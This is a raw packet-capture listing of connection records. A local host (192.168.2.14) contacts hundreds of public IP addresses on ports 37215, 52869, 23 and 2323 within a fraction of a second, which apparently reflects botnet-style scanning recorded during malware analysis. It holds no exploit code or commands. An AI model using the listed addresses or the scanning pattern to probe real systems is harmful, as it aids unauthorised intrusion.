Dec 4, 2024 20:34:29.903451920 CET	60275	37215	192.168.2.14	156.152.88.171
Dec 4, 2024 20:34:29.903460026 CET	60275	37215	192.168.2.14	41.205.174.150
Dec 4, 2024 20:34:29.903470039 CET	60275	37215	192.168.2.14	197.63.74.217
Dec 4, 2024 20:34:29.903470039 CET	60275	37215	192.168.2.14	197.222.37.60
Dec 4, 2024 20:34:29.903470993 CET	60275	37215	192.168.2.14	197.85.76.160
Dec 4, 2024 20:34:29.903484106 CET	60275	37215	192.168.2.14	197.189.56.92
Dec 4, 2024 20:34:29.903490067 CET	60275	37215	192.168.2.14	156.192.159.21
Dec 4, 2024 20:34:29.903490067 CET	60275	37215	192.168.2.14	197.226.110.226
Dec 4, 2024 20:34:29.903491020 CET	60275	37215	192.168.2.14	41.10.34.62
Dec 4, 2024 20:34:29.903495073 CET	60275	37215	192.168.2.14	156.153.127.46
Dec 4, 2024 20:34:29.903503895 CET	60275	37215	192.168.2.14	197.42.133.118
Dec 4, 2024 20:34:29.903505087 CET	60275	37215	192.168.2.14	156.135.44.149
Dec 4, 2024 20:34:29.903511047 CET	60275	37215	192.168.2.14	156.9.60.99
Dec 4, 2024 20:34:29.903511047 CET	60275	37215	192.168.2.14	197.69.72.115
Dec 4, 2024 20:34:29.903511047 CET	60275	37215	192.168.2.14	41.34.77.16
Dec 4, 2024 20:34:29.903517962 CET	60275	37215	192.168.2.14	156.240.99.229
Dec 4, 2024 20:34:29.903525114 CET	60275	37215	192.168.2.14	156.234.96.157
Dec 4, 2024 20:34:29.903532028 CET	60275	37215	192.168.2.14	41.217.187.227
Dec 4, 2024 20:34:29.903532982 CET	60275	37215	192.168.2.14	197.84.170.52
Dec 4, 2024 20:34:29.903538942 CET	60275	37215	192.168.2.14	197.171.129.219
Dec 4, 2024 20:34:29.903542995 CET	60275	37215	192.168.2.14	156.11.73.56
Dec 4, 2024 20:34:29.903542995 CET	60275	37215	192.168.2.14	156.0.110.15
Dec 4, 2024 20:34:29.903546095 CET	60275	37215	192.168.2.14	41.90.251.101
Dec 4, 2024 20:34:29.903546095 CET	60275	37215	192.168.2.14	197.3.201.133
Dec 4, 2024 20:34:29.903553009 CET	60275	37215	192.168.2.14	197.77.85.215
Dec 4, 2024 20:34:29.903558016 CET	60275	37215	192.168.2.14	41.52.76.121
Dec 4, 2024 20:34:29.903594017 CET	37215	51074	156.252.138.242	192.168.2.14
Dec 4, 2024 20:34:29.903623104 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:29.903631926 CET	37215	38940	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:29.903641939 CET	37215	42072	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:29.903669119 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:29.903675079 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:29.903696060 CET	23	35158	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:29.903697968 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:29.903697968 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:29.903731108 CET	35158	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:29.903758049 CET	23	37264	44.177.131.156	192.168.2.14
Dec 4, 2024 20:34:29.903768063 CET	23	52922	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:29.903781891 CET	23	60244	195.88.180.72	192.168.2.14
Dec 4, 2024 20:34:29.903793097 CET	37264	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:29.903794050 CET	37215	48000	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:29.903798103 CET	52922	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:29.903804064 CET	2323	50412	171.161.255.216	192.168.2.14
Dec 4, 2024 20:34:29.903815985 CET	37215	58026	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:29.903817892 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:29.903827906 CET	23	55252	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:29.903830051 CET	50412	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:29.903846025 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:29.903850079 CET	55252	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:29.903851032 CET	37215	55360	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:29.903861046 CET	23	60306	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:29.903872013 CET	23	34556	84.172.76.218	192.168.2.14
Dec 4, 2024 20:34:29.903881073 CET	23	57392	182.216.226.152	192.168.2.14
Dec 4, 2024 20:34:29.903889894 CET	23	38900	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:29.903911114 CET	57392	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:29.903949976 CET	60244	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:29.903955936 CET	23	48736	213.194.145.218	192.168.2.14
Dec 4, 2024 20:34:29.903969049 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:29.903970003 CET	23	37804	175.54.171.246	192.168.2.14
Dec 4, 2024 20:34:29.903971910 CET	60306	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:29.903983116 CET	2323	41868	139.203.168.53	192.168.2.14
Dec 4, 2024 20:34:29.903985023 CET	34556	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:29.903986931 CET	38900	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:29.903987885 CET	48736	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:29.903995991 CET	23	58364	82.54.118.213	192.168.2.14
Dec 4, 2024 20:34:29.903999090 CET	37804	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:29.904006958 CET	23	58338	184.99.73.225	192.168.2.14
Dec 4, 2024 20:34:29.904012918 CET	41868	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:29.904019117 CET	23	37646	142.8.161.214	192.168.2.14
Dec 4, 2024 20:34:29.904020071 CET	58364	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:29.904027939 CET	58338	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:29.904042006 CET	37646	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:29.904232025 CET	54208	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:29.904294968 CET	23	33344	99.251.34.246	192.168.2.14
Dec 4, 2024 20:34:29.904306889 CET	23	44246	103.222.238.109	192.168.2.14
Dec 4, 2024 20:34:29.904326916 CET	33344	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:29.904335022 CET	44246	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:29.904361010 CET	23	39192	161.193.252.223	192.168.2.14
Dec 4, 2024 20:34:29.904370070 CET	23	59694	36.173.135.124	192.168.2.14
Dec 4, 2024 20:34:29.904401064 CET	39192	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:29.904402971 CET	59694	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:29.904433966 CET	23	38644	70.38.173.168	192.168.2.14
Dec 4, 2024 20:34:29.904443979 CET	37215	46116	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:29.904453039 CET	23	55888	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:29.904464960 CET	37215	34260	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:29.904469013 CET	38644	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:29.904475927 CET	55888	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:29.904476881 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:29.904480934 CET	23	48090	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:29.904494047 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:29.904494047 CET	23	35384	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:29.904504061 CET	48090	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:29.904506922 CET	23	34274	161.204.36.67	192.168.2.14
Dec 4, 2024 20:34:29.904524088 CET	35384	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:29.904532909 CET	34274	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:29.904536963 CET	23	34110	164.152.144.218	192.168.2.14
Dec 4, 2024 20:34:29.904546976 CET	23	44412	160.113.182.46	192.168.2.14
Dec 4, 2024 20:34:29.904562950 CET	23	49538	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:29.904577017 CET	34110	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:29.904582977 CET	44412	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:29.904592991 CET	49538	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:29.904640913 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:29.904649973 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:29.904906988 CET	52478	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:29.905239105 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:29.905239105 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:29.905489922 CET	35686	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:29.905787945 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:29.905812025 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:29.906050920 CET	45472	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:29.906380892 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:29.906380892 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:29.906665087 CET	47310	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:29.906991005 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:29.906991005 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:29.907237053 CET	51962	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:29.907577038 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:29.907577038 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:29.907809973 CET	34716	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:29.908123970 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:29.908123970 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:29.908371925 CET	55894	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:29.908679962 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:29.908679962 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:29.908953905 CET	39814	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:29.909307003 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:29.909307003 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:29.909550905 CET	56268	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:29.909882069 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:29.909882069 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:29.910131931 CET	42978	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:29.910454988 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:29.910474062 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:29.910576105 CET	53504	23	192.168.2.14	167.50.240.55
Dec 4, 2024 20:34:29.910581112 CET	47792	37215	192.168.2.14	156.46.231.49
Dec 4, 2024 20:34:29.910583973 CET	33584	37215	192.168.2.14	197.106.146.54
Dec 4, 2024 20:34:29.910589933 CET	42430	37215	192.168.2.14	41.127.162.160
Dec 4, 2024 20:34:29.910590887 CET	46384	23	192.168.2.14	176.201.141.246
Dec 4, 2024 20:34:29.910589933 CET	52618	23	192.168.2.14	133.122.98.172
Dec 4, 2024 20:34:29.910588980 CET	41178	23	192.168.2.14	163.43.135.223
Dec 4, 2024 20:34:29.910594940 CET	49266	37215	192.168.2.14	156.147.35.244
Dec 4, 2024 20:34:29.910590887 CET	34248	37215	192.168.2.14	156.48.9.140
Dec 4, 2024 20:34:29.910594940 CET	60254	37215	192.168.2.14	41.132.100.177
Dec 4, 2024 20:34:29.910589933 CET	56280	37215	192.168.2.14	197.100.48.63
Dec 4, 2024 20:34:29.910589933 CET	42288	37215	192.168.2.14	156.127.137.224
Dec 4, 2024 20:34:29.910602093 CET	53820	37215	192.168.2.14	41.105.81.176
Dec 4, 2024 20:34:29.910604954 CET	48832	23	192.168.2.14	104.4.207.41
Dec 4, 2024 20:34:29.910604954 CET	44556	37215	192.168.2.14	197.35.197.202
Dec 4, 2024 20:34:29.910602093 CET	36112	23	192.168.2.14	18.23.6.211
Dec 4, 2024 20:34:29.910604954 CET	39792	37215	192.168.2.14	197.42.248.169
Dec 4, 2024 20:34:29.910604954 CET	44732	37215	192.168.2.14	156.196.176.20
Dec 4, 2024 20:34:29.910602093 CET	37816	23	192.168.2.14	18.201.2.98
Dec 4, 2024 20:34:29.910602093 CET	60804	23	192.168.2.14	184.52.45.59
Dec 4, 2024 20:34:29.910609007 CET	36426	37215	192.168.2.14	41.113.111.126
Dec 4, 2024 20:34:29.910609007 CET	58082	23	192.168.2.14	185.7.177.72
Dec 4, 2024 20:34:29.910607100 CET	49932	37215	192.168.2.14	156.15.219.247
Dec 4, 2024 20:34:29.910607100 CET	52118	23	192.168.2.14	73.177.34.175
Dec 4, 2024 20:34:29.910609007 CET	46706	2323	192.168.2.14	111.203.162.122
Dec 4, 2024 20:34:29.910612106 CET	53204	23	192.168.2.14	32.26.226.115
Dec 4, 2024 20:34:29.910612106 CET	39416	23	192.168.2.14	163.21.119.83
Dec 4, 2024 20:34:29.910613060 CET	36972	37215	192.168.2.14	41.49.70.143
Dec 4, 2024 20:34:29.910613060 CET	40368	23	192.168.2.14	216.217.69.150
Dec 4, 2024 20:34:29.910614014 CET	36072	37215	192.168.2.14	197.214.0.190
Dec 4, 2024 20:34:29.910614014 CET	53824	23	192.168.2.14	170.76.147.12
Dec 4, 2024 20:34:29.910614014 CET	36838	23	192.168.2.14	188.45.136.245
Dec 4, 2024 20:34:29.910614014 CET	33458	23	192.168.2.14	80.202.155.43
Dec 4, 2024 20:34:29.910619974 CET	51664	23	192.168.2.14	142.94.55.104
Dec 4, 2024 20:34:29.910624027 CET	32938	23	192.168.2.14	166.21.100.118
Dec 4, 2024 20:34:29.910624027 CET	59796	23	192.168.2.14	42.200.16.161
Dec 4, 2024 20:34:29.910628080 CET	60026	23	192.168.2.14	206.223.56.156
Dec 4, 2024 20:34:29.910635948 CET	38386	23	192.168.2.14	155.173.151.212
Dec 4, 2024 20:34:29.910640955 CET	50522	23	192.168.2.14	27.9.100.255
Dec 4, 2024 20:34:29.910645008 CET	60524	23	192.168.2.14	100.137.94.31
Dec 4, 2024 20:34:29.910648108 CET	59746	23	192.168.2.14	82.14.186.157
Dec 4, 2024 20:34:29.910649061 CET	41956	23	192.168.2.14	149.217.166.225
Dec 4, 2024 20:34:29.910650015 CET	52146	2323	192.168.2.14	200.208.163.244
Dec 4, 2024 20:34:29.910650015 CET	39478	23	192.168.2.14	154.147.49.100
Dec 4, 2024 20:34:29.910650015 CET	46874	23	192.168.2.14	86.216.250.111
Dec 4, 2024 20:34:29.910659075 CET	36124	23	192.168.2.14	59.209.121.198
Dec 4, 2024 20:34:29.910659075 CET	55130	23	192.168.2.14	69.205.3.82
Dec 4, 2024 20:34:29.910661936 CET	43108	23	192.168.2.14	121.208.151.118
Dec 4, 2024 20:34:29.910661936 CET	45708	23	192.168.2.14	99.234.222.27
Dec 4, 2024 20:34:29.910664082 CET	51958	23	192.168.2.14	221.84.62.217
Dec 4, 2024 20:34:29.910667896 CET	47376	23	192.168.2.14	109.94.63.9
Dec 4, 2024 20:34:29.910669088 CET	42102	23	192.168.2.14	94.39.126.146
Dec 4, 2024 20:34:29.910670042 CET	39416	23	192.168.2.14	27.212.9.17
Dec 4, 2024 20:34:29.910677910 CET	37958	23	192.168.2.14	180.225.100.239
Dec 4, 2024 20:34:29.910681009 CET	60706	23	192.168.2.14	164.38.237.117
Dec 4, 2024 20:34:29.910682917 CET	60932	23	192.168.2.14	206.150.24.134
Dec 4, 2024 20:34:29.910686016 CET	46172	23	192.168.2.14	146.142.19.98
Dec 4, 2024 20:34:29.910691023 CET	58452	23	192.168.2.14	110.190.153.89
Dec 4, 2024 20:34:29.910693884 CET	60778	23	192.168.2.14	82.178.162.31
Dec 4, 2024 20:34:29.910703897 CET	44474	23	192.168.2.14	37.173.63.244
Dec 4, 2024 20:34:29.910705090 CET	47276	23	192.168.2.14	203.222.108.235
Dec 4, 2024 20:34:29.910706997 CET	42670	23	192.168.2.14	113.107.13.18
Dec 4, 2024 20:34:29.910715103 CET	50782	23	192.168.2.14	141.75.203.217
Dec 4, 2024 20:34:29.910716057 CET	48130	23	192.168.2.14	32.13.228.128
Dec 4, 2024 20:34:29.910721064 CET	48022	52869	192.168.2.14	41.6.59.74
Dec 4, 2024 20:34:29.910726070 CET	34534	23	192.168.2.14	118.179.164.86
Dec 4, 2024 20:34:29.910731077 CET	46290	23	192.168.2.14	74.182.235.212
Dec 4, 2024 20:34:29.910734892 CET	52118	23	192.168.2.14	171.70.253.116
Dec 4, 2024 20:34:29.910742044 CET	49032	23	192.168.2.14	150.4.163.36
Dec 4, 2024 20:34:29.910742044 CET	33946	52869	192.168.2.14	197.172.165.205
Dec 4, 2024 20:34:29.910742044 CET	40124	52869	192.168.2.14	41.63.183.123
Dec 4, 2024 20:34:29.910742044 CET	54166	52869	192.168.2.14	156.168.207.39
Dec 4, 2024 20:34:29.910742044 CET	46924	52869	192.168.2.14	41.19.117.92
Dec 4, 2024 20:34:29.910743952 CET	43934	52869	192.168.2.14	41.193.13.127
Dec 4, 2024 20:34:29.910744905 CET	36836	52869	192.168.2.14	156.240.145.137
Dec 4, 2024 20:34:29.910744905 CET	41082	52869	192.168.2.14	41.74.65.247
Dec 4, 2024 20:34:29.910744905 CET	48992	52869	192.168.2.14	197.50.121.64
Dec 4, 2024 20:34:29.910744905 CET	43588	52869	192.168.2.14	197.189.47.51
Dec 4, 2024 20:34:29.910744905 CET	42030	52869	192.168.2.14	197.208.106.255
Dec 4, 2024 20:34:29.910744905 CET	51906	52869	192.168.2.14	156.179.3.91
Dec 4, 2024 20:34:29.910744905 CET	59588	52869	192.168.2.14	41.199.190.34
Dec 4, 2024 20:34:29.910752058 CET	42072	52869	192.168.2.14	156.82.221.129
Dec 4, 2024 20:34:29.910752058 CET	35908	52869	192.168.2.14	197.30.212.88
Dec 4, 2024 20:34:29.910753965 CET	48904	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:29.910754919 CET	46836	52869	192.168.2.14	197.30.16.119
Dec 4, 2024 20:34:29.910757065 CET	45774	52869	192.168.2.14	156.199.59.166
Dec 4, 2024 20:34:29.910758018 CET	38400	52869	192.168.2.14	156.93.153.88
Dec 4, 2024 20:34:29.910764933 CET	49526	52869	192.168.2.14	156.18.91.222
Dec 4, 2024 20:34:29.910764933 CET	46306	52869	192.168.2.14	41.183.46.202
Dec 4, 2024 20:34:29.911086082 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:29.911086082 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:29.911335945 CET	58916	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:29.911653042 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:29.911653042 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:29.911889076 CET	47004	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:29.912194014 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:29.912194014 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:29.912445068 CET	35134	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:29.934741974 CET	37215	33408	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:29.934784889 CET	37215	56600	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:29.934793949 CET	37215	35154	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:29.934804916 CET	37215	32788	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:29.934818983 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:29.934819937 CET	56600	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:29.934829950 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:29.934829950 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:29.934866905 CET	56600	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:29.934866905 CET	56600	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:29.935153008 CET	57472	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:29.935476065 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:29.935476065 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:29.935724020 CET	34278	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:29.936068058 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:29.936068058 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:29.936306953 CET	36022	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:29.936655998 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:29.936655998 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:29.936913013 CET	33650	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:29.942579031 CET	54692	37215	192.168.2.14	41.37.188.94
Dec 4, 2024 20:34:29.942586899 CET	57796	37215	192.168.2.14	41.29.20.203
Dec 4, 2024 20:34:29.942596912 CET	52074	37215	192.168.2.14	156.89.173.110
Dec 4, 2024 20:34:29.942599058 CET	38200	52869	192.168.2.14	156.133.31.26
Dec 4, 2024 20:34:29.942596912 CET	48118	52869	192.168.2.14	41.227.129.228
Dec 4, 2024 20:34:29.942596912 CET	53324	37215	192.168.2.14	41.232.154.218
Dec 4, 2024 20:34:29.942596912 CET	32850	37215	192.168.2.14	156.251.217.255
Dec 4, 2024 20:34:29.942599058 CET	43058	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:29.942601919 CET	35782	37215	192.168.2.14	156.90.49.226
Dec 4, 2024 20:34:29.942599058 CET	41042	52869	192.168.2.14	197.28.154.184
Dec 4, 2024 20:34:29.942599058 CET	52112	37215	192.168.2.14	156.179.59.54
Dec 4, 2024 20:34:29.942599058 CET	51194	52869	192.168.2.14	41.14.217.141
Dec 4, 2024 20:34:29.942610025 CET	48862	37215	192.168.2.14	156.54.168.161
Dec 4, 2024 20:34:29.942610025 CET	34808	37215	192.168.2.14	156.34.144.151
Dec 4, 2024 20:34:29.942614079 CET	58680	52869	192.168.2.14	156.241.126.158
Dec 4, 2024 20:34:29.942615032 CET	44480	52869	192.168.2.14	197.134.199.44
Dec 4, 2024 20:34:29.942622900 CET	36770	52869	192.168.2.14	41.254.67.195
Dec 4, 2024 20:34:29.942622900 CET	54718	52869	192.168.2.14	197.7.71.245
Dec 4, 2024 20:34:29.942622900 CET	45190	37215	192.168.2.14	197.30.70.180
Dec 4, 2024 20:34:29.942622900 CET	54100	37215	192.168.2.14	156.91.56.95
Dec 4, 2024 20:34:29.942622900 CET	51930	37215	192.168.2.14	156.126.207.8
Dec 4, 2024 20:34:29.942624092 CET	40530	37215	192.168.2.14	41.97.166.226
Dec 4, 2024 20:34:29.942624092 CET	57760	52869	192.168.2.14	156.128.83.47
Dec 4, 2024 20:34:29.942624092 CET	40894	37215	192.168.2.14	197.46.210.104
Dec 4, 2024 20:34:29.942624092 CET	59962	52869	192.168.2.14	197.90.117.33
Dec 4, 2024 20:34:29.942624092 CET	40070	52869	192.168.2.14	156.83.102.83
Dec 4, 2024 20:34:29.942630053 CET	45186	37215	192.168.2.14	197.182.44.141
Dec 4, 2024 20:34:29.942631006 CET	48894	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:29.942630053 CET	34336	52869	192.168.2.14	156.83.22.152
Dec 4, 2024 20:34:29.942630053 CET	54016	52869	192.168.2.14	156.38.138.77
Dec 4, 2024 20:34:29.942631006 CET	48884	37215	192.168.2.14	41.251.151.107
Dec 4, 2024 20:34:29.942631006 CET	54344	37215	192.168.2.14	41.183.182.85
Dec 4, 2024 20:34:29.942639112 CET	60074	52869	192.168.2.14	41.44.187.18
Dec 4, 2024 20:34:29.942640066 CET	42270	52869	192.168.2.14	156.26.104.85
Dec 4, 2024 20:34:29.942640066 CET	48536	37215	192.168.2.14	156.110.100.62
Dec 4, 2024 20:34:29.942640066 CET	56592	37215	192.168.2.14	197.170.229.87
Dec 4, 2024 20:34:29.942640066 CET	43664	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:29.942640066 CET	40432	52869	192.168.2.14	41.88.104.106
Dec 4, 2024 20:34:29.942640066 CET	41464	52869	192.168.2.14	197.193.108.149
Dec 4, 2024 20:34:29.942645073 CET	35334	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:29.964579105 CET	23	33644	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.964725971 CET	33644	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.965147018 CET	33688	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.965167046 CET	23	59892	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.965596914 CET	59892	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.965888977 CET	59936	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.966855049 CET	37215	37026	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:29.966905117 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:29.966906071 CET	52869	52720	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:29.966917992 CET	52869	51350	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:29.966955900 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:29.966959953 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:29.966986895 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:29.966986895 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:29.967021942 CET	60019	52869	192.168.2.14	156.21.211.145
Dec 4, 2024 20:34:29.967020988 CET	60019	52869	192.168.2.14	156.187.48.150
Dec 4, 2024 20:34:29.967022896 CET	60019	52869	192.168.2.14	197.41.17.162
Dec 4, 2024 20:34:29.967022896 CET	60019	52869	192.168.2.14	197.195.177.6
Dec 4, 2024 20:34:29.967034101 CET	60019	52869	192.168.2.14	41.64.132.174
Dec 4, 2024 20:34:29.967035055 CET	60019	52869	192.168.2.14	156.56.12.129
Dec 4, 2024 20:34:29.967037916 CET	60019	52869	192.168.2.14	197.0.106.36
Dec 4, 2024 20:34:29.967040062 CET	60019	52869	192.168.2.14	41.244.71.253
Dec 4, 2024 20:34:29.967041969 CET	60019	52869	192.168.2.14	197.54.31.86
Dec 4, 2024 20:34:29.967041969 CET	60019	52869	192.168.2.14	197.9.7.22
Dec 4, 2024 20:34:29.967048883 CET	60019	52869	192.168.2.14	197.111.233.25
Dec 4, 2024 20:34:29.967051029 CET	60019	52869	192.168.2.14	156.231.136.199
Dec 4, 2024 20:34:29.967051983 CET	60019	52869	192.168.2.14	41.150.50.18
Dec 4, 2024 20:34:29.967067003 CET	60019	52869	192.168.2.14	156.198.132.235
Dec 4, 2024 20:34:29.967068911 CET	60019	52869	192.168.2.14	156.82.18.215
Dec 4, 2024 20:34:29.967075109 CET	60019	52869	192.168.2.14	197.114.251.247
Dec 4, 2024 20:34:29.967080116 CET	60019	52869	192.168.2.14	156.24.175.241
Dec 4, 2024 20:34:29.967084885 CET	60019	52869	192.168.2.14	41.28.188.230
Dec 4, 2024 20:34:29.967097044 CET	60019	52869	192.168.2.14	156.222.100.182
Dec 4, 2024 20:34:29.967097044 CET	60019	52869	192.168.2.14	156.135.128.105
Dec 4, 2024 20:34:29.967102051 CET	60019	52869	192.168.2.14	156.224.54.176
Dec 4, 2024 20:34:29.967103958 CET	60019	52869	192.168.2.14	156.83.182.149
Dec 4, 2024 20:34:29.967103958 CET	60019	52869	192.168.2.14	197.144.255.20
Dec 4, 2024 20:34:29.967103958 CET	60019	52869	192.168.2.14	156.45.249.2
Dec 4, 2024 20:34:29.967106104 CET	60019	52869	192.168.2.14	197.83.231.99
Dec 4, 2024 20:34:29.967109919 CET	60019	52869	192.168.2.14	197.104.173.246
Dec 4, 2024 20:34:29.967109919 CET	60019	52869	192.168.2.14	197.124.49.19
Dec 4, 2024 20:34:29.967113018 CET	60019	52869	192.168.2.14	197.142.205.31
Dec 4, 2024 20:34:29.967117071 CET	60019	52869	192.168.2.14	156.78.48.21
Dec 4, 2024 20:34:29.967118979 CET	60019	52869	192.168.2.14	156.21.154.115
